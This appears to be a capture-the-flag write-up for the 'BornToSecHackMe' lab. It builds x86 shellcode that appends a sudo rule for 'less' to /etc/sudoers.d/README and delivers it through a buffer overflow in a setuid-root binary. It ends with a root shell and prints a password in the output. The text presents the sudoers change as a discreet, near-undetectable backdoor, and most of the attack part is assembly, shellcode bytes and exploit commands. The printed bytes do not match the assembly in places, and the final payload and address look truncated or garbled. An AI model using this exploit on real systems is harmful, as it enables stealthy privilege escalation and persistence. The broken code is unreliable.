

./lessIsTheNewMore

In this write-up, we'll develop a **shellcode** that subtly modifies the server's access controls: it will add the line **zaz ALL=(ALL:ALL) /bin/less** to the **/etc/sudoers.d/README** file.

This approach is particularly covert because it leaves the main **sudoers** file untouched and grants **sudo** **privileges** to the user **zaz** specifically and only for the **less** command.

If the **less** binary is allowed to run as **superuser** by **sudo**, it does not drop the elevated privileges and may be used to access the file system or **escalate** privileged access. [More info here](#).

This creates a **discreet backdoor** on the server, accessible in the long run. Additionally, by not altering the **root** password, this modification remains almost **undetactable**, ensuring that no immediate changes are noticeable to the system's administrators or other users.

To create the **shellcode** for our operation, we first need the assembly code:

```
section .text
    global _start

_start:
    xor eax, eax           ; Clear eax
    xor ecx, ecx           ; Clear ecx
    xor edx, edx           ; Clear edx
    push eax               ; Push null byte onto stack
    push 0x454d4441         ; ADME
    push 0x45522f64         ; d/RE
    push 0x2e737265         ; ers.
    push 0x6f647573         ; sudo
    push 0x2f637465         ; etc/
    push 0x2f2f2f2f         ; ///

    mov ebx, esp           ; Move pointer to file name into ebx
    mov al, 5               ; sys_open
    mov cx, 1089            ; O_WRONLY | O_APPEND | O_CREAT
    mov dx, 440             ; permissions
    int 0x80

    mov ebx, eax           ; file descriptor

    xor eax, eax           ; Clear eax
    push eax               ; Push null byte onto stack
    push 0x0a737365         ; ess\n
    push 0x6c2f6e69         ; in/l
    push 0x622f2029         ; ) /b
    push 0x4c4c413a         ; :ALL
    push 0x4c4c4128         ; (ALL
    push 0x3d4c4c41         ; ALL=
    push 0x207a617a         ; zaz
    ; Write to file
    mov al, 4               ; sys_write
    xor edx, edx           ; Clear edx
    mov ecx, esp
    mov dl, 28              ; length of string
    int 0x80

    ; Close file
    mov al, 6               ; sys_close
    int 0x80

    ; Exit
    mov al, 1               ; sys_exit
    xor ebx, ebx
    int 0x80
```

Now that we have written the assembly code, the next steps are to assemble the code with **NASM** and then use **objdump** to generate the actual shellcode.

```
(kali㉿kali)-[~]
$ nasm -f elf32 sudoers.asm -o sudoers.o && ld -m elf_i386 -o sudoers
sudoers.o

(kali㉿kali)-[~]
$ objdump -d sudoers | grep -Po '\s\K\[\da-f\]{2}{(?:=\s)}' | tr -d '\n' |
sed 's/\([0-9a-f]\{2}\)/\\x\1/g' | sed 's/^"/"/' | sed 's/$"/"/'
"\x31\xc0\x31\xc9\x31\xd2\x50\x68\x41\x44\x4d\x45\x68\x64\x2f\x52\x45\x
68\x65\x72\x73\x2e\x68\x73\x75\x64\x6f\x68\x65\x74\x63\x2f\x68\x2f\x2f\x
2f\x2f\x89\xe3\xb0\x05\x66\xb9\x41\x04\x66\xba\xb8\x01\xcd\x80\x89\xc3\x
31\xc0\x50\x68\x65\x73\x73\x0a\x68\x69\x6e\x2f\x6c\x68\x29\x20\x2f\x62\x
68\x3a\x41\x4c\x4c\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x7a\x61\x
7a\x20\xb0\x0f\x31\xd2\x89\xe1\xb2\x1c\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x
31\xdb\xcd\x80"
```

The **exploit_me** file in the **zaz** user's folder, with permissions set as **-rwsr-s---** and owned by **root**, allows us to execute our shellcode with **root** privileges due to the **setuid** bit being set.

After setting the shellcode as an environment variable, we'll use **GDB** to determine its memory address within the context of the **exploit_me** program.

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0...\xcd\x80"')
zaz@BornToSecHackMe:~$ exec env - SHELLCODE="$SHELLCODE" gdb -ex 'unset env LINES' -ex
'unset env COLUMNS' --args ./exploit_me

(gdb) b puts
Breakpoint 1 at 0x8048310

(gdb) run $(python -c 'print "A"*140 + "B"*4')
Starting program: /home/zaz/exploit_me $(python -c 'print "A"*140 + "B"*4')

Breakpoint 1, 0xb7e927e0 in puts () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/s *((char **) environ+1)
0xbffff6d:      "SHELLCODE=1\300\061\311\061...\006\315\200\260\001\061\333\315\200"

(gdb) x/s *((char **) environ+1) + 10
0xbffff77:      "1\300\061\311\061\322PhADMEhd/REhers.hsudohetc/h/...\333\315\200"

(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

With the memory address of our shellcode identified, the next step is to execute the **exploit_me** program using the specific offset we pinpointed in the first writeup.

This offset is 140, and it will be followed by the memory address of the shellcode

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xc9\x
31\xd2\x50\x68\x41\x44\x4d\x45\x68\x64\x2f\x52\x45\x68\x65\x72\x73\x2e\x68\x
73\x75\x64\x6f\x68\x65\x74\x63\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x05\x66\x
b9\x41\x04\x66\xba\xb8\x01\xcd\x80\x89\xc3\x31\xc0\x50\x68\x65\x73\x73\x0a\x
68\x69\x6e\x2f\x6c\x68\x29\x20\x2f\x62\x68\x3a\x41\x4c\x4c\x68\x28\x41\x4c\x
4c\x68\x7a\x61\x7a\x20\xb0\x0f\x31\xd2\x89\xe1\xb2\x1c\xcd\x80\xb0\x06\xcd\x
80\xb0\x01\x31\xdb\xcd\x80"')

zaz@BornToSecHackMe:~$ env - PWD=$PWD SHELLCODE="$SHELLCODE" ~/exploit_me
$(python -c 'print "A" * 140 + "\xbf\xff\xff\xff\x77"[::-1]')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw

zaz@BornToSecHackMe:~$ sudo less .cache/motd.legal-displayed
[sudo] password for zaz: 646da671ca01bb5d84dbb5fb2238dc8e

!/bin/bash

root@BornToSecHackMe:~# id
uid=0(root) gid=0(root) groups=0(root)
```